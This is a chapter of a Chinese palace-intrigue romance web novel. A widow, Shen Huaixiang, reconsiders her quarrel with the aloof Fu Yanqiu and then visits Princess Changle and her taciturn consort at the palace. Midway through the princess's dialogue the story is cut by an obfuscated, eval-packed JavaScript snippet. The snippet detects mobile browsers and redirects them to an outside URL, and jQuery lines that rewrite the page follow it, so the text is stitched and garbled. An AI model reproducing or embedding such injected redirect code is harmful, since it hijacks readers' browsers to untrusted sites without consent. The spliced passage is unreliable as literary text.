不知哭了多久,沈怀香才将脸上的眼泪拭去。
原本就白净的脸上带着微微红肿的眼睛,这下更加突兀了。
她也不是不能理解傅砚秋的怒气,毕竟自己现在和他勾连,却成日里挂念二爷,这分明是对五爷的不尊重。
天底下怕是也没有哪个男人能够许可自己手下之物惦念着旁的男人。
她和傅砚秋的事情,就等抄完佛经再说吧。
婆母那里,总是要交差的。
她唤来翡翠替她梳洗,冬雪也十分赶趟地给她倒了杯茶。
“二少夫人,咱们这总是和五爷争吵也不是个事,要不您看咱们先低低头服服软呢?”翡翠将绢帕打湿,随后轻轻擦拭沈怀香的面颊。
沈怀香闭着眼,语气沮丧:“我何尝不知?五爷大抵是众星捧月长大的神仙人物,怕是也没人敢忤逆的,倒是我却三番两次跟他扯闹。”
“二少夫人,奴婢原不该说的,跟了您您算作翡翠的主人,可奴婢也希望您能过得好,所以斗胆劝说一句。五爷素来眼高于顶,瞧着面冷可心肠却热,您求的每一件事,五爷嘴上吹毛求疵,却一件不落的都给您办好了,不叫您为难,索性咱们也大度些,叫五爷宽宽心呢?”
沈怀香知晓翡翠说的在理。
她嫁进国公府许久了,从未有人施恩于她。
傅砚秋虽每每嘴上对她挑刺厉害,可是在看不见的地方又闷声为他做了许多事情。
倘若她是个懂点感恩的,也不该和贵人一直呛声。
说到底自己不过也就是傅砚秋手底下的一个奴才,说的好听些叫做豢雀。
自己只要敬他、尊他,大概就会相安无事吧。
只需要熬到傅砚秋对她失去兴趣的那一日,亦或是他娶妻生子的那一日,自己也便解脱了。
沈怀香闷闷嗯了一声,翡翠也不再多说,只是小心替她侍弄着。
第二天天光乍亮,沈怀香便起身了。
她要尽快抄写完,然后去找傅砚秋请罪。
可是去到佛堂,桌上的纸笔却好像被人动过一般。
沈怀香分明记得自己昨晚半道上就撇下了毛笔,怎的又洗净晾干放在了笔架上。
难不成有——毛贼!
沈怀香叠着步子迅速上前查看,她几不可查的顿了一下身子。
哪里来的‘毛贼’,居然十分贴心的替她将佛经抄写好了,甚至还是刻意模仿的她的字迹。
沈怀香几乎不用想就知道这是谁的手笔,她眼眶发热。
冬雪瞧见了,翡翠也瞧见了。
“少夫人,五爷还真是嘴硬心软,对咱们可真是极好呢!”冬雪咂摸着给出了心里话。
翡翠亦然:“少夫人,五爷还是在意您的。”
在......在意吗?
沈怀香从未想过自己和傅砚秋之间除却不伦还有什么其他的绮丽幻想。
翡翠这句话,倒是让她有些迟疑了。
不可能,傅砚秋分明很瞧不上她的。
沈怀香至今记得他们初次见面时候的样子。
她跪在二爷灵前,傅砚秋阔步进了灵堂,冷冽的目光落在她身上,似乎对她不喜。
再说,傅砚秋与自己云泥之别......
“翡翠,这样的话以后莫要说了,五爷身份尊贵,跟我绝无可能。”
“绝无可能?她是这样说的?”傅砚秋渐渐收紧手里的茶盏,只听‘砰’一声,旋即碎在手掌心。
常春惊呼一声:“五爷,您的手!”
翡翠更是跪倒在地上,连忙认错:“五爷,都是奴婢的错,二少夫人绝非是那个意思。”
“那你说是什么意思?”傅砚秋冷冷道。
翡翠想不出。
而后,“好一个绝无可能!”
傅砚秋提起步子,出去了书房,准备去兴师问罪。
他到了她的四方院落,可她却到了深宫六院。
长乐公主的侍女早早等候在宫门,瞧见沈怀香的马车又快走几步,准备迎接她。
“二少夫人安好。”
“姑姑好。”沈怀香拉开马车的窗帘,露出半个脑袋和人打招呼。
侍女倒是觉得这位少夫人瞧着不像是已为人妇的样子,看着娇憨可爱,倒像是少女模样。
一路上,沈怀香都想着婆母的嘱咐,眼睛只盯着自己脚底下那点路,不敢四处乱瞟。
侍女只当她是初入宫,有些紧张,便宽慰她:“二少夫人不必如此拘谨,现下宫里的贵人大多都在小憩,咱们不会冲撞到的,少夫人可以瞧瞧。”
沈怀香笑了笑答应着,这才四处观察着。
深宫内苑听着富丽堂皇,看着却更加森严巍峨,特别是四方平齐的天空,无端的叫人喘不过气来。
宫墙施以赭土、朱砂调和而成的‘帝王朱’,经桐油浸染,雨洗后如凝血般沉郁。特别是日头照着,墙面泛起一层金红色的光晕,似未熄的余烬,又似无声的威仪。
不同的宫宇处插放着不同的花树,倒也带有几分柔和。
侍女带着沈怀香一路走一路介绍,这是宫里的哪位娘娘,出自哪家。
而后就快到长乐公主的居所,侍女简单进行了介绍。
当今圣人和公主是一母同胞的亲兄妹,从小就吃住在一起,所以感情深厚。
按照古礼来说,公主及笄应当是要独立出宫,修建公主府。
自圣人登基以来,公主及笄甚至婚嫁都不曾出宫,甚至婚宴都是在宫墙内举行的。
当时裴家上下脸上都无有荣光。
可见圣人对亲妹的疼爱。
沈怀香慨叹:“公主殿下和圣人感情真好。”
侍女点头笑,说是。
到了公主内院,沈怀香再次惊诧。
里面种满了鲜花。甚至有些还是出乎时令的,有些栽植在棚子里,鲜艳欲滴。
若说刚才一路走来的宫墙多是朱砂赤红,那到了这儿简直就是春意盎然。
沈怀香不由得深吸一口气,这花香气息格外怡人,不难瞧出设计这处院落的人的仔细与心底暗藏的爱意。
长乐公主早已在殿内等候着沈怀香的到来,瞧见她倒真觉得这是神仙一般的人儿,出落得很漂亮。
“公主万安。”沈怀香规规矩矩行礼。
长乐公主连忙将她拉起来,说:“不必多礼,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17518591|203096||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
毕竟现在是我有求于你。”
沈怀香连忙摆手:“公主能瞧得上臣妇的手艺,那是臣妇的福气。”
公主哎一声,说:“不必过于自谦,前些日子我张罗着要做些新鲜图样的春衣,恰好在你家老太太寿宴上瞧见了你的贺礼,一来二去这才想着要你帮我设计一番。”
“承蒙公主赏识,臣妇只当竭尽全力。”
“如此,那便好。”公主笑道。
侍女为沈怀香斟茶,她捧起顿觉茶香。
“雨后龙井,倒也清甜。”
公主没想到沈怀香这乡野出身的女娘竟对茶也有此见识,二人又聊了许多。
屋内点着醇黄雨露香,桌椅俱是上好黄梨木,铜镜都是镶金的,沈怀香本身觉得国公府已算是奢靡,见识到了皇宫,她才算作是真正开了眼。
没过多久,屋外步履匆匆,传来侍女太监的声音。
“拜见驸马。”
沈怀香起身,公主连连叫她坐下。
“无事,驸马脾性温和,素来不在乎这些虚礼,你也不必拘谨。”
沈怀香低着头,随后听到越发走近的脚步声。
“拜见驸马。”
“起来吧。”此男声音醇厚温和却深不见底。
公主走过去,接过他手里的外褂:“今日之事可忙好了?”
裴驸马只嗯了一声,再无下文。
沈怀香只以为他是准备思量后再行讲话,却迟迟没有下文了。
公主又说:“我给你介绍一下,这是国公府二爷的孀妻沈怀香。”
裴驸马抬眼看一眼沈怀香,双手交握作揖:“少夫人。”
沈怀香忙回礼:“驸马纳福。”
接下来的场景又让沈怀香感到十分尴尬,公主一个劲儿问裴驸马一些琐事,可是驸马几乎不吐露什么,仿佛拒人千里之外。
沈怀香面上不敢表现出什么,可是心里却对这位驸马有些不满。
横竖公主是女子,为何驸马一直这样冷待她。
“公主您还是先与二少夫人商议事宜,我去趟书房。”说罢,起身就走,甚至多一个眼神都不曾留给长乐公主。
待屋内只剩下她们二人,沈怀香低着头尽量降低自己的存在感。
不料公主却拉着她开始话家常。
“如你所见,驸马是个孤言少语的,所以我时常无人说话,若你得空可时常进宫,咱们两个或许在某种意义上来说算是同病相怜了。”
沈怀香只当公主是说她死了丈夫,大概也是无人搭话,所以寂寞,叫她二人可一同作伴。
她点了点头。
侍女通传:“高公公到了!”
公主却倏然变了脸色,“他来做什么?”
侍女低头解释:“想必是陛下的安排。”
“叫他进来吧。”
随后一个眉发皆白的太监款着步子缓缓进来了,尖细的嗓子问了声公主好。
瞧见沈怀香,又搭话道:“竟不知公主这里有贵客登门,冲撞了!”
公主拧着眉头,却没理他:“不知高公公有何贵干?”
“皇上派杂家问一问公主晚上用膳是甜口还是辣口?”